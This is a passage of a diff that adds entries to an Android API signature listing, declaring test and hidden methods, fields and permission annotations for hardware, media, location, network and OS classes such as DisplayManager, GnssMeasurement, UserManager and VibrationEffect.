+    method public int getFlags();
+    method public int getState();
+    method @NonNull public static android.hardware.devicestate.DeviceStateRequest.Builder newBuilder(int);
+    field public static final int FLAG_CANCEL_WHEN_BASE_CHANGES = 1; // 0x1
+  }
+
+  public static final class DeviceStateRequest.Builder {
+    method @NonNull public android.hardware.devicestate.DeviceStateRequest build();
+    method @NonNull public android.hardware.devicestate.DeviceStateRequest.Builder setFlags(int);
+  }
+
+  public static interface DeviceStateRequest.Callback {
+    method public default void onRequestActivated(@NonNull android.hardware.devicestate.DeviceStateRequest);
+    method public default void onRequestCanceled(@NonNull android.hardware.devicestate.DeviceStateRequest);
+    method public default void onRequestSuspended(@NonNull android.hardware.devicestate.DeviceStateRequest);
+  }
+
+}
+
+package android.hardware.display {
+
+  public class AmbientDisplayConfiguration {
+    ctor public AmbientDisplayConfiguration(android.content.Context);
+    method public boolean alwaysOnAvailable();
+    method public boolean alwaysOnAvailableForUser(int);
+    method public boolean alwaysOnEnabled(int);
+  }
+
+  public final class DisplayManager {
+    method public boolean areUserDisabledHdrTypesAllowed();
+    method @NonNull public int[] getUserDisabledHdrTypes();
+    method public boolean isMinimalPostProcessingRequested(int);
+    method @RequiresPermission(android.Manifest.permission.WRITE_SECURE_SETTINGS) public void setAreUserDisabledHdrTypesAllowed(boolean);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE) public void setRefreshRateSwitchingType(int);
+    method @RequiresPermission(android.Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS) public void setShouldAlwaysRespectAppRequestedMode(boolean);
+    method @RequiresPermission(android.Manifest.permission.WRITE_SECURE_SETTINGS) public void setUserDisabledHdrTypes(@NonNull int[]);
+    method @RequiresPermission(android.Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS) public boolean shouldAlwaysRespectAppRequestedMode();
+    field public static final int SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS = 2; // 0x2
+    field public static final int SWITCHING_TYPE_NONE = 0; // 0x0
+    field public static final int SWITCHING_TYPE_WITHIN_GROUPS = 1; // 0x1
+    field public static final int VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS = 512; // 0x200
+    field public static final int VIRTUAL_DISPLAY_FLAG_TRUSTED = 1024; // 0x400
+  }
+
+}
+
+package android.hardware.fingerprint {
+
+  @Deprecated public class FingerprintManager {
+    method @Deprecated @NonNull @RequiresPermission(android.Manifest.permission.TEST_BIOMETRIC) public android.hardware.biometrics.BiometricTestSession createTestSession(int);
+    method @Deprecated @NonNull @RequiresPermission(android.Manifest.permission.TEST_BIOMETRIC) public java.util.List<android.hardware.biometrics.SensorProperties> getSensorProperties();
+  }
+
+}
+
+package android.hardware.hdmi {
+
+  public final class HdmiControlServiceWrapper {
+    ctor public HdmiControlServiceWrapper();
+    method @NonNull public android.hardware.hdmi.HdmiControlManager createHdmiControlManager();
+    method @BinderThread public void setDeviceTypes(@NonNull int[]);
+    method @BinderThread public void setPortInfo(@NonNull java.util.List<android.hardware.hdmi.HdmiPortInfo>);
+    field public static final int DEVICE_PURE_CEC_SWITCH = 6; // 0x6
+  }
+
+}
+
+package android.hardware.input {
+
+  public final class InputManager {
+    method public int getBlockUntrustedTouchesMode(@NonNull android.content.Context);
+    method @RequiresPermission(android.Manifest.permission.WRITE_SECURE_SETTINGS) public void setBlockUntrustedTouchesMode(@NonNull android.content.Context, int);
+    method @RequiresPermission(android.Manifest.permission.WRITE_SECURE_SETTINGS) public void setMaximumObscuringOpacityForTouch(@FloatRange(from=0, to=1) float);
+    field public static final long BLOCK_UNTRUSTED_TOUCHES = 158002302L; // 0x96aec7eL
+  }
+
+}
+
+package android.hardware.lights {
+
+  public final class Light implements android.os.Parcelable {
+    method public int getCapabilities();
+  }
+
+  public abstract class LightsManager {
+    method @NonNull public abstract android.hardware.lights.LightsManager.LightsSession openSession(int);
+  }
+
+}
+
+package android.hardware.soundtrigger {
+
+  public class KeyphraseEnrollmentInfo {
+    ctor public KeyphraseEnrollmentInfo(@NonNull android.content.pm.PackageManager);
+    method @Nullable public android.hardware.soundtrigger.KeyphraseMetadata getKeyphraseMetadata(@NonNull String, @NonNull java.util.Locale);
+    method @Nullable public android.content.Intent getManageKeyphraseIntent(int, @NonNull String, @NonNull java.util.Locale);
+    method @NonNull public String getParseError();
+    method @NonNull public java.util.Collection<android.hardware.soundtrigger.KeyphraseMetadata> listKeyphraseMetadata();
+    field public static final int MANAGE_ACTION_ENROLL = 0; // 0x0
+    field public static final int MANAGE_ACTION_RE_ENROLL = 1; // 0x1
+    field public static final int MANAGE_ACTION_UN_ENROLL = 2; // 0x2
+  }
+
+  public final class KeyphraseMetadata implements android.os.Parcelable {
+    ctor public KeyphraseMetadata(int, @NonNull String, @NonNull java.util.Set<java.util.Locale>, int);
+    method public int describeContents();
+    method public int getId();
+    method @NonNull public String getKeyphrase();
+    method public int getRecognitionModeFlags();
+    method @NonNull public java.util.Set<java.util.Locale> getSupportedLocales();
+    method public boolean supportsLocale(@Nullable java.util.Locale);
+    method public boolean supportsPhrase(@Nullable String);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.hardware.soundtrigger.KeyphraseMetadata> CREATOR;
+  }
+
+  public static final class SoundTrigger.ModelParamRange implements android.os.Parcelable {
+    ctor public SoundTrigger.ModelParamRange(int, int);
+  }
+
+  public static final class SoundTrigger.ModuleProperties implements android.os.Parcelable {
+    ctor public SoundTrigger.ModuleProperties(int, @NonNull String, @NonNull String, @NonNull String, int, @NonNull String, int, int, int, int, boolean, int, boolean, int, boolean, int);
+  }
+
+  public static class SoundTrigger.RecognitionEvent {
+    ctor public SoundTrigger.RecognitionEvent(int, int, boolean, int, int, int, boolean, @NonNull android.media.AudioFormat, @Nullable byte[]);
+  }
+
+}
+
+package android.inputmethodservice {
+
+  public abstract class AbstractInputMethodService extends android.window.WindowProviderService implements android.view.KeyEvent.Callback {
+    method public final int getInitialDisplayId();
+    method @Nullable public final android.os.Bundle getWindowContextOptions();
+    method public final int getWindowType();
+  }
+
+  @UiContext public class InputMethodService extends android.inputmethodservice.AbstractInputMethodService {
+    field public static final long FINISH_INPUT_NO_FALLBACK_CONNECTION = 156215187L; // 0x94fa793L
+  }
+
+}
+
+package android.location {
+
+  public final class GnssClock implements android.os.Parcelable {
+    ctor public GnssClock();
+    method public void reset();
+    method public void resetBiasNanos();
+    method public void resetBiasUncertaintyNanos();
+    method public void resetDriftNanosPerSecond();
+    method public void resetDriftUncertaintyNanosPerSecond();
+    method public void resetElapsedRealtimeNanos();
+    method public void resetElapsedRealtimeUncertaintyNanos();
+    method public void resetFullBiasNanos();
+    method public void resetLeapSecond();
+    method public void resetReferenceCarrierFrequencyHzForIsb();
+    method public void resetReferenceCodeTypeForIsb();
+    method public void resetReferenceConstellationTypeForIsb();
+    method public void resetTimeUncertaintyNanos();
+    method public void set(android.location.GnssClock);
+    method public void setBiasNanos(double);
+    method public void setBiasUncertaintyNanos(@FloatRange(from=0.0f) double);
+    method public void setDriftNanosPerSecond(double);
+    method public void setDriftUncertaintyNanosPerSecond(@FloatRange(from=0.0f) double);
+    method public void setElapsedRealtimeNanos(long);
+    method public void setElapsedRealtimeUncertaintyNanos(@FloatRange(from=0.0f) double);
+    method public void setFullBiasNanos(long);
+    method public void setHardwareClockDiscontinuityCount(int);
+    method public void setLeapSecond(int);
+    method public void setReferenceCarrierFrequencyHzForIsb(@FloatRange(from=0.0) double);
+    method public void setReferenceCodeTypeForIsb(@NonNull String);
+    method public void setReferenceConstellationTypeForIsb(int);
+    method public void setTimeNanos(long);
+    method public void setTimeUncertaintyNanos(@FloatRange(from=0.0f) double);
+  }
+
+  public final class GnssMeasurement implements android.os.Parcelable {
+    ctor public GnssMeasurement();
+    method public void reset();
+    method public void resetAutomaticGainControlLevel();
+    method public void resetBasebandCn0DbHz();
+    method @Deprecated public void resetCarrierCycles();
+    method public void resetCarrierFrequencyHz();
+    method @Deprecated public void resetCarrierPhase();
+    method @Deprecated public void resetCarrierPhaseUncertainty();
+    method public void resetCodeType();
+    method public void resetCorrelationVectors();
+    method public void resetFullInterSignalBiasNanos();
+    method public void resetFullInterSignalBiasUncertaintyNanos();
+    method public void resetSatelliteInterSignalBiasNanos();
+    method public void resetSatelliteInterSignalBiasUncertaintyNanos();
+    method public void resetSatellitePvt();
+    method public void resetSnrInDb();
+    method public void set(android.location.GnssMeasurement);
+    method public void setAccumulatedDeltaRangeMeters(double);
+    method public void setAccumulatedDeltaRangeState(int);
+    method public void setAccumulatedDeltaRangeUncertaintyMeters(double);
+    method public void setAutomaticGainControlLevelInDb(double);
+    method public void setBasebandCn0DbHz(double);
+    method @Deprecated public void setCarrierCycles(long);
+    method public void setCarrierFrequencyHz(float);
+    method @Deprecated public void setCarrierPhase(double);
+    method @Deprecated public void setCarrierPhaseUncertainty(double);
+    method public void setCn0DbHz(double);
+    method public void setCodeType(@NonNull String);
+    method public void setConstellationType(int);
+    method public void setCorrelationVectors(@Nullable java.util.Collection<android.location.CorrelationVector>);
+    method public void setFullInterSignalBiasNanos(double);
+    method public void setFullInterSignalBiasUncertaintyNanos(@FloatRange(from=0.0) double);
+    method public void setMultipathIndicator(int);
+    method public void setPseudorangeRateMetersPerSecond(double);
+    method public void setPseudorangeRateUncertaintyMetersPerSecond(double);
+    method public void setReceivedSvTimeNanos(long);
+    method public void setReceivedSvTimeUncertaintyNanos(long);
+    method public void setSatelliteInterSignalBiasNanos(double);
+    method public void setSatelliteInterSignalBiasUncertaintyNanos(@FloatRange(from=0.0) double);
+    method public void setSatellitePvt(@Nullable android.location.SatellitePvt);
+    method public void setSnrInDb(double);
+    method public void setState(int);
+    method public void setSvid(int);
+    method public void setTimeOffsetNanos(double);
+    field public static final int ADR_STATE_ALL = 31; // 0x1f
+  }
+
+  public final class GnssMeasurementsEvent implements android.os.Parcelable {
+    ctor public GnssMeasurementsEvent(android.location.GnssClock, android.location.GnssMeasurement[]);
+  }
+
+  public final class GnssNavigationMessage implements android.os.Parcelable {
+    ctor public GnssNavigationMessage();
+    method public void reset();
+    method public void set(android.location.GnssNavigationMessage);
+    method public void setData(byte[]);
+    method public void setMessageId(@IntRange(from=0xffffffff, to=120) int);
+    method public void setStatus(int);
+    method public void setSubmessageId(@IntRange(from=1) int);
+    method public void setSvid(@IntRange(from=1, to=200) int);
+    method public void setType(int);
+  }
+
+  public class LocationManager {
+    method @NonNull public String[] getBackgroundThrottlingWhitelist();
+    method @NonNull public android.os.PackageTagsList getIgnoreSettingsAllowlist();
+    method @Deprecated @NonNull public String[] getIgnoreSettingsWhitelist();
+    method @Deprecated @Nullable @RequiresPermission(android.Manifest.permission.READ_DEVICE_CONFIG) public java.util.List<java.lang.String> getProviderPackages(@NonNull String);
+  }
+
+}
+
+package android.media {
+
+  public final class AudioAttributes implements android.os.Parcelable {
+    method @NonNull public static String usageToXsdString(int);
+    method public static int xsdStringToUsage(@NonNull String);
+  }
+
+  public final class AudioDeviceInfo {
+    method public static void enforceValidAudioDeviceTypeIn(int);
+    method public static void enforceValidAudioDeviceTypeOut(int);
+  }
+
+  public final class AudioFocusRequest {
+    method @Nullable public android.media.AudioManager.OnAudioFocusChangeListener getOnAudioFocusChangeListener();
+  }
+
+  public final class AudioFormat implements android.os.Parcelable {
+    method public static int channelCountFromInChannelMask(int);
+    method public static int channelCountFromOutChannelMask(int);
+    method public static int getBytesPerSample(int);
+    method public static boolean isEncodingLinearPcm(int);
+  }
+
+  public class AudioManager {
+    method @RequiresPermission("android.permission.QUERY_AUDIO_STATE") public int abandonAudioFocusForTest(@NonNull android.media.AudioFocusRequest, @NonNull String);
+    method @Nullable public static android.media.AudioDeviceInfo getDeviceInfoFromType(int);
+    method @IntRange(from=0) @RequiresPermission("android.permission.QUERY_AUDIO_STATE") public long getFadeOutDurationOnFocusLossMillis(@NonNull android.media.AudioAttributes);
+    method @NonNull public java.util.Map<java.lang.Integer,java.lang.Boolean> getSurroundFormats();
+    method public boolean hasRegisteredDynamicPolicy();
+    method @RequiresPermission(anyOf={android.Manifest.permission.MODIFY_AUDIO_ROUTING, android.Manifest.permission.QUERY_AUDIO_STATE}) public boolean isFullVolumeDevice();
+    method @RequiresPermission("android.permission.QUERY_AUDIO_STATE") public int requestAudioFocusForTest(@NonNull android.media.AudioFocusRequest, @NonNull String, int, int);
+  }
+
+  public static final class AudioRecord.MetricsConstants {
+    field public static final String ATTRIBUTES = "android.media.audiorecord.attributes";
+    field public static final String CHANNEL_MASK = "android.media.audiorecord.channelMask";
+    field public static final String DURATION_MS = "android.media.audiorecord.durationMs";
+    field public static final String FRAME_COUNT = "android.media.audiorecord.frameCount";
+    field public static final String PORT_ID = "android.media.audiorecord.portId";
+    field public static final String START_COUNT = "android.media.audiorecord.startCount";
+  }
+
+  public final class AudioRecordingConfiguration implements android.os.Parcelable {
+    ctor public AudioRecordingConfiguration(int, int, int, android.media.AudioFormat, android.media.AudioFormat, int, String, int, boolean, int, android.media.audiofx.AudioEffect.Descriptor[], android.media.audiofx.AudioEffect.Descriptor[]);
+    ctor public AudioRecordingConfiguration(int, int, int, android.media.AudioFormat, android.media.AudioFormat, int, String);
+  }
+
+  public class AudioSystem {
+    method @RequiresPermission(android.Manifest.permission.MODIFY_AUDIO_SETTINGS) public static float getMasterBalance();
+    method public static final int getNumStreamTypes();
+    method @RequiresPermission(android.Manifest.permission.MODIFY_AUDIO_SETTINGS) public static int setMasterBalance(float);
+    field public static final int DEVICE_ROLE_DISABLED = 2; // 0x2
+    field public static final int DEVICE_ROLE_NONE = 0; // 0x0
+    field public static final int DEVICE_ROLE_PREFERRED = 1; // 0x1
+    field public static final int OFFLOAD_GAPLESS_SUPPORTED = 2; // 0x2
+    field public static final int OFFLOAD_SUPPORTED = 1; // 0x1
+    field public static final int STREAM_DEFAULT = -1; // 0xffffffff
+  }
+
+  public static final class AudioTrack.MetricsConstants {
+    field public static final String ATTRIBUTES = "android.media.audiotrack.attributes";
+    field public static final String CHANNEL_MASK = "android.media.audiotrack.channelMask";
+    field public static final String ENCODING = "android.media.audiotrack.encoding";
+    field public static final String FRAME_COUNT = "android.media.audiotrack.frameCount";
+    field public static final String PORT_ID = "android.media.audiotrack.portId";
+    field public static final String SAMPLE_RATE = "android.media.audiotrack.sampleRate";
+  }
+
+  public abstract class Image implements java.lang.AutoCloseable {
+    ctor protected Image();
+  }
+
+  public abstract static class Image.Plane {
+    ctor protected Image.Plane();
+  }
+
+  public final class MediaCas implements java.lang.AutoCloseable {
+    method public void forceResourceLost();
+  }
+
+  public static final class MediaCodecInfo.VideoCapabilities.PerformancePoint {
+    ctor public MediaCodecInfo.VideoCapabilities.PerformancePoint(int, int, int, int, @NonNull android.util.Size);
+    ctor public MediaCodecInfo.VideoCapabilities.PerformancePoint(@NonNull android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint, @NonNull android.util.Size);
+    method public int getMaxFrameRate();
+    method public long getMaxMacroBlockRate();
+    method public int getMaxMacroBlocks();
+  }
+
+  public final class MediaRoute2Info implements android.os.Parcelable {
+    method @NonNull public String getOriginalId();
+  }
+
+  public class MediaRouter2.RoutingController {
+    method @NonNull public String getOriginalId();
+  }
+
+  public final class PlaybackParams implements android.os.Parcelable {
+    method public int getAudioStretchMode();
+    method public android.media.PlaybackParams setAudioStretchMode(int);
+  }
+
+  public static final class VolumeShaper.Configuration.Builder {
+    method @NonNull public android.media.VolumeShaper.Configuration.Builder setOptionFlags(int);
+  }
+
+}
+
+package android.media.audiofx {
+
+  public class AudioEffect {
+    method public static int byteArrayToInt(byte[]);
+    method public static short byteArrayToShort(byte[]);
+    method public int getParameter(byte[], byte[]) throws java.lang.IllegalStateException;
+    method public int getParameter(int, byte[]) throws java.lang.IllegalStateException;
+    method public int getParameter(int, int[]) throws java.lang.IllegalStateException;
+    method public int getParameter(int, short[]) throws java.lang.IllegalStateException;
+    method public int getParameter(int[], short[]) throws java.lang.IllegalStateException;
+    method public static byte[] intToByteArray(int);
+    method public static boolean isEffectTypeAvailable(java.util.UUID);
+    method public static boolean isError(int);
+    method public int setParameter(byte[], byte[]) throws java.lang.IllegalStateException;
+    method public int setParameter(int, int) throws java.lang.IllegalStateException;
+    method public int setParameter(int, short) throws java.lang.IllegalStateException;
+    method public int setParameter(int, byte[]) throws java.lang.IllegalStateException;
+    method public int setParameter(int[], int[]) throws java.lang.IllegalStateException;
+    method public int setParameter(int[], byte[]) throws java.lang.IllegalStateException;
+    method public void setParameterListener(android.media.audiofx.AudioEffect.OnParameterChangeListener);
+    method public static byte[] shortToByteArray(short);
+    field public static final java.util.UUID EFFECT_TYPE_NULL;
+  }
+
+  public static class AudioEffect.Descriptor {
+    ctor public AudioEffect.Descriptor(android.os.Parcel);
+    method public void writeToParcel(android.os.Parcel);
+  }
+
+  public static interface AudioEffect.OnParameterChangeListener {
+    method public void onParameterChange(android.media.audiofx.AudioEffect, int, byte[], byte[]);
+  }
+
+}
+
+package android.media.audiopolicy {
+
+  public static class AudioPolicy.Builder {
+    method @NonNull public android.media.audiopolicy.AudioPolicy.Builder setIsTestFocusPolicy(boolean);
+  }
+
+}
+
+package android.media.metrics {
+
+  public final class LogSessionId {
+    ctor public LogSessionId(@NonNull String);
+  }
+
+}
+
+package android.media.tv {
+
+  public final class TvInputManager {
+    method public void addHardwareDevice(int);
+    method public void removeHardwareDevice(int);
+  }
+
+}
+
+package android.media.tv.tuner {
+
+  public final class TunerVersionChecker {
+    method public static int getMajorVersion(int);
+    method public static int getMinorVersion(int);
+    method public static boolean isHigherOrEqualVersionTo(int);
+    method public static boolean supportTunerVersion(int);
+  }
+
+}
+
+package android.net {
+
+  public class EthernetManager {
+    method public void setIncludeTestInterfaces(boolean);
+  }
+
+  public final class IpSecManager {
+    field public static final int INVALID_SECURITY_PARAMETER_INDEX = 0; // 0x0
+  }
+
+  public class NetworkPolicyManager {
+    method public boolean getRestrictBackground();
+    method @RequiresPermission(android.Manifest.permission.OBSERVE_NETWORK_POLICY) public boolean isUidNetworkingBlocked(int, boolean);
+    method @RequiresPermission(android.Manifest.permission.OBSERVE_NETWORK_POLICY) public boolean isUidRestrictedOnMeteredNetworks(int);
+    method @NonNull public static String resolveNetworkId(@NonNull android.net.wifi.WifiConfiguration);
+    method public void setRestrictBackground(boolean);
+  }
+
+  public class NetworkStack {
+    method public static void setServiceForTest(@Nullable android.os.IBinder);
+  }
+
+  public class NetworkWatchlistManager {
+    method @Nullable public byte[] getWatchlistConfigHash();
+  }
+
+  public class TrafficStats {
+    method public static long getLoopbackRxBytes();
+    method public static long getLoopbackRxPackets();
+    method public static long getLoopbackTxBytes();
+    method public static long getLoopbackTxPackets();
+  }
+
+}
+
+package android.os {
+
+  public final class BatteryStatsManager {
+    method @RequiresPermission(android.Manifest.permission.DEVICE_POWER) public void resetBattery(boolean);
+    method @RequiresPermission(android.Manifest.permission.DEVICE_POWER) public void setBatteryLevel(int, boolean);
+    method @RequiresPermission(android.Manifest.permission.DEVICE_POWER) public void setChargerAcOnline(boolean, boolean);
+    method @RequiresPermission(android.Manifest.permission.DEVICE_POWER) public void suspendBatteryInput();
+    method @RequiresPermission(android.Manifest.permission.DEVICE_POWER) public void unplugBattery(boolean);
+  }
+
+  public class Build {
+    method public static boolean is64BitAbi(String);
+    method public static boolean isDebuggable();
+    field public static final boolean IS_EMULATOR;
+  }
+
+  public static class Build.VERSION {
+    field public static final String[] ACTIVE_CODENAMES;
+    field public static final int DEVICE_INITIAL_SDK_INT;
+    field public static final int RESOURCES_SDK_INT;
+  }
+
+  public abstract class CombinedVibration implements android.os.Parcelable {
+    method public abstract long getDuration();
+    method @NonNull public static android.os.CombinedVibration.SequentialCombination startSequential();
+  }
+
+  public static final class CombinedVibration.Mono extends android.os.CombinedVibration {
+    method public long getDuration();
+    method @NonNull public android.os.VibrationEffect getEffect();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.CombinedVibration.Mono> CREATOR;
+  }
+
+  public static final class CombinedVibration.Sequential extends android.os.CombinedVibration {
+    method @NonNull public java.util.List<java.lang.Integer> getDelays();
+    method public long getDuration();
+    method @NonNull public java.util.List<android.os.CombinedVibration> getEffects();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.CombinedVibration.Sequential> CREATOR;
+  }
+
+  public static final class CombinedVibration.SequentialCombination {
+    method @NonNull public android.os.CombinedVibration.SequentialCombination addNext(int, @NonNull android.os.VibrationEffect);
+    method @NonNull public android.os.CombinedVibration.SequentialCombination addNext(int, @NonNull android.os.VibrationEffect, int);
+    method @NonNull public android.os.CombinedVibration.SequentialCombination addNext(@NonNull android.os.CombinedVibration);
+    method @NonNull public android.os.CombinedVibration.SequentialCombination addNext(@NonNull android.os.CombinedVibration, int);
+    method @NonNull public android.os.CombinedVibration combine();
+  }
+
+  public static final class CombinedVibration.Stereo extends android.os.CombinedVibration {
+    method public long getDuration();
+    method @NonNull public android.util.SparseArray<android.os.VibrationEffect> getEffects();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.CombinedVibration.Stereo> CREATOR;
+  }
+
+  public class DeviceIdleManager {
+    method @NonNull public String[] getSystemPowerWhitelist();
+    method @NonNull public String[] getSystemPowerWhitelistExceptIdle();
+  }
+
+  public class Environment {
+    method public static java.io.File buildPath(java.io.File, java.lang.String...);
+  }
+
+  public final class FileUtils {
+    method public static boolean contains(java.io.File, java.io.File);
+    method @NonNull public static byte[] digest(@NonNull java.io.File, @NonNull String) throws java.io.IOException, java.security.NoSuchAlgorithmException;
+    method @NonNull public static byte[] digest(@NonNull java.io.InputStream, @NonNull String) throws java.io.IOException, java.security.NoSuchAlgorithmException;
+  }
+
+  public final class MessageQueue {
+    method public int postSyncBarrier();
+    method public void removeSyncBarrier(int);
+  }
+
+  public final class PackageTagsList implements android.os.Parcelable {
+    method public boolean contains(@NonNull String, @Nullable String);
+    method public boolean contains(@NonNull android.os.PackageTagsList);
+    method public boolean containsAll(@NonNull String);
+    method public int describeContents();
+    method public boolean includes(@NonNull String);
+    method public boolean isEmpty();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.PackageTagsList> CREATOR;
+  }
+
+  public static final class PackageTagsList.Builder {
+    ctor public PackageTagsList.Builder();
+    ctor public PackageTagsList.Builder(int);
+    method @NonNull public android.os.PackageTagsList.Builder add(@NonNull String);
+    method @NonNull public android.os.PackageTagsList.Builder add(@NonNull String, @Nullable String);
+    method @NonNull public android.os.PackageTagsList.Builder add(@NonNull android.os.PackageTagsList);
+    method @NonNull public android.os.PackageTagsList.Builder add(@NonNull java.util.Map<java.lang.String,? extends java.util.Set<java.lang.String>>);
+    method @NonNull public android.os.PackageTagsList build();
+    method @NonNull public android.os.PackageTagsList.Builder clear();
+  }
+
+  public final class Parcel {
+    method public boolean allowSquashing();
+    method public int readExceptionCode();
+    method public void restoreAllowSquashing(boolean);
+  }
+
+  public class ParcelFileDescriptor implements java.io.Closeable android.os.Parcelable {
+    method public static java.io.File getFile(java.io.FileDescriptor) throws java.io.IOException;
+  }
+
+  public final class PowerManager {
+    field public static final String ACTION_ENHANCED_DISCHARGE_PREDICTION_CHANGED = "android.os.action.ENHANCED_DISCHARGE_PREDICTION_CHANGED";
+  }
+
+  public class Process {
+    method public static final int getThreadScheduler(int) throws java.lang.IllegalArgumentException;
+    field public static final int FIRST_APP_ZYGOTE_ISOLATED_UID = 90000; // 0x15f90
+    field public static final int FIRST_ISOLATED_UID = 99000; // 0x182b8
+    field public static final int LAST_APP_ZYGOTE_ISOLATED_UID = 98999; // 0x182b7
+    field public static final int LAST_ISOLATED_UID = 99999; // 0x1869f
+    field public static final int NFC_UID = 1027; // 0x403
+    field public static final int NUM_UIDS_PER_APP_ZYGOTE = 100; // 0x64
+  }
+
+  public final class StrictMode {
+    method public static void conditionallyCheckInstanceCounts();
+    method public static void setViolationLogger(android.os.StrictMode.ViolationLogger);
+  }
+
+  public static final class StrictMode.ThreadPolicy.Builder {
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder detectExplicitGc();
+  }
+
+  public static final class StrictMode.ViolationInfo implements android.os.Parcelable {
+    ctor public StrictMode.ViolationInfo(android.os.Parcel);
+    ctor public StrictMode.ViolationInfo(android.os.Parcel, boolean);
+    method public int describeContents();
+    method public void dump(android.util.Printer, String);
+    method public String getStackTrace();
+    method public Class<? extends android.os.strictmode.Violation> getViolationClass();
+    method public String getViolationDetails();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.StrictMode.ViolationInfo> CREATOR;
+    field public String broadcastIntentAction;
+    field public int durationMillis;
+    field public int numAnimationsRunning;
+    field public long numInstances;
+    field public String[] tags;
+    field public int violationNumThisLoop;
+    field public long violationUptimeMillis;
+  }
+
+  public static interface StrictMode.ViolationLogger {
+    method public void log(android.os.StrictMode.ViolationInfo);
+  }
+
+  public static final class StrictMode.VmPolicy.Builder {
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder permitIncorrectContextUse();
+  }
+
+  public final class UserHandle implements android.os.Parcelable {
+    method public static int getUid(int, int);
+    method public static int getUserId(int);
+    method public static boolean isApp(int);
+    field public static final int MIN_SECONDARY_USER_ID = 10; // 0xa
+    field public static final int USER_ALL = -1; // 0xffffffff
+    field public static final int USER_NULL = -10000; // 0xffffd8f0
+    field public static final int USER_SYSTEM = 0; // 0x0
+  }
+
+  public class UserManager {
+    method @Nullable @RequiresPermission(anyOf={android.Manifest.permission.MANAGE_USERS, android.Manifest.permission.CREATE_USERS}) public android.content.pm.UserInfo createProfileForUser(@Nullable String, @NonNull String, int, int, @Nullable String[]);
+    method @Nullable @RequiresPermission(anyOf={android.Manifest.permission.MANAGE_USERS, android.Manifest.permission.CREATE_USERS}) public android.content.pm.UserInfo createRestrictedProfile(@Nullable String);
+    method @Nullable @RequiresPermission(anyOf={android.Manifest.permission.MANAGE_USERS, android.Manifest.permission.CREATE_USERS}) public android.content.pm.UserInfo createUser(@Nullable String, @NonNull String, int);
+    method @Nullable @RequiresPermission(anyOf={android.Manifest.permission.MANAGE_USERS, android.Manifest.permission.CREATE_USERS}) public java.util.Set<java.lang.String> getPreInstallableSystemPackages(@NonNull String);
+    method @NonNull @RequiresPermission(anyOf={android.Manifest.permission.MANAGE_USERS, android.Manifest.permission.CREATE_USERS}) public String getUserType();
+    method @NonNull @RequiresPermission(anyOf={android.Manifest.permission.MANAGE_USERS, android.Manifest.permission.CREATE_USERS}) public java.util.List<android.content.pm.UserInfo> getUsers(boolean, boolean, boolean);
+    method @RequiresPermission(anyOf={android.Manifest.permission.MANAGE_USERS, android.Manifest.permission.CREATE_USERS}) public boolean hasBaseUserRestriction(@NonNull String, @NonNull android.os.UserHandle);
+    method public static boolean isGuestUserEphemeral();
+    method public static boolean isSplitSystemUser();
+    method @NonNull @RequiresPermission(anyOf={android.Manifest.permission.MANAGE_USERS, android.Manifest.permission.CREATE_USERS}) public android.content.pm.UserInfo preCreateUser(@NonNull String) throws android.os.UserManager.UserOperationException;
+  }
+
+  public final class VibrationAttributes implements android.os.Parcelable {
+    method public int getAudioUsage();
+  }
+
+  public static final class VibrationAttributes.Builder {
+    ctor public VibrationAttributes.Builder(@NonNull android.media.AudioAttributes, @Nullable android.os.VibrationEffect);
+  }
+
+  public abstract class VibrationEffect implements android.os.Parcelable {
+    method public static android.os.VibrationEffect get(int);
+    method public static android.os.VibrationEffect get(int, boolean);
+    method @Nullable public static android.os.VibrationEffect get(android.net.Uri, android.content.Context);
+    method public abstract long getDuration();
+    method @NonNull public static android.os.VibrationEffect.WaveformBuilder startWaveform();
+    field public static final int EFFECT_POP = 4; // 0x4
+    field public static final int EFFECT_STRENGTH_LIGHT = 0; // 0x0
+    field public static final int EFFECT_STRENGTH_MEDIUM = 1; // 0x1
+    field public static final int EFFECT_STRENGTH_STRONG = 2; // 0x2
+    field public static final int EFFECT_TEXTURE_TICK = 21; // 0x15
+    field public static final int EFFECT_THUD = 3; // 0x3
+    field public static final int[] RINGTONES;
+  }
+
+  public static final class VibrationEffect.Composed extends android.os.VibrationEffect {
+    method @NonNull public android.os.VibrationEffect.Composed applyEffectStrength(int);
+    method public long getDuration();
+    method public int getRepeatIndex();
+    method @NonNull public java.util.List<android.os.vibrator.VibrationEffectSegment> getSegments();
+    method @NonNull public android.os.VibrationEffect.Composed resolve(int);
+    method @NonNull public android.os.VibrationEffect.Composed scale(float);
+    method public void validate();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.VibrationEffect.Composed> CREATOR;
+  }
+
+  public static final class VibrationEffect.Composition {
+    method @NonNull public android.os.VibrationEffect.Composition addEffect(@NonNull android.os.VibrationEffect);
+    method @NonNull public android.os.VibrationEffect.Composition addEffect(@NonNull android.os.VibrationEffect, @IntRange(from=0) int);
+  }
+
+  public static final class VibrationEffect.WaveformBuilder {
+    method @NonNull public android.os.VibrationEffect.WaveformBuilder addRamp(@FloatRange(from=0.0f, to=1.0f) float, @IntRange(from=0) int);
+    method @NonNull public android.os.VibrationEffect.WaveformBuilder addRamp(@FloatRange(from=0.0f, to=1.0f) float, @FloatRange(from=-1.0F, to=1.0f) float, @IntRange(from=0) int);
+    method @NonNull public android.os.VibrationEffect.WaveformBuilder addStep(@FloatRange(from=0.0f, to=1.0f) float, @IntRange(from=0) int);
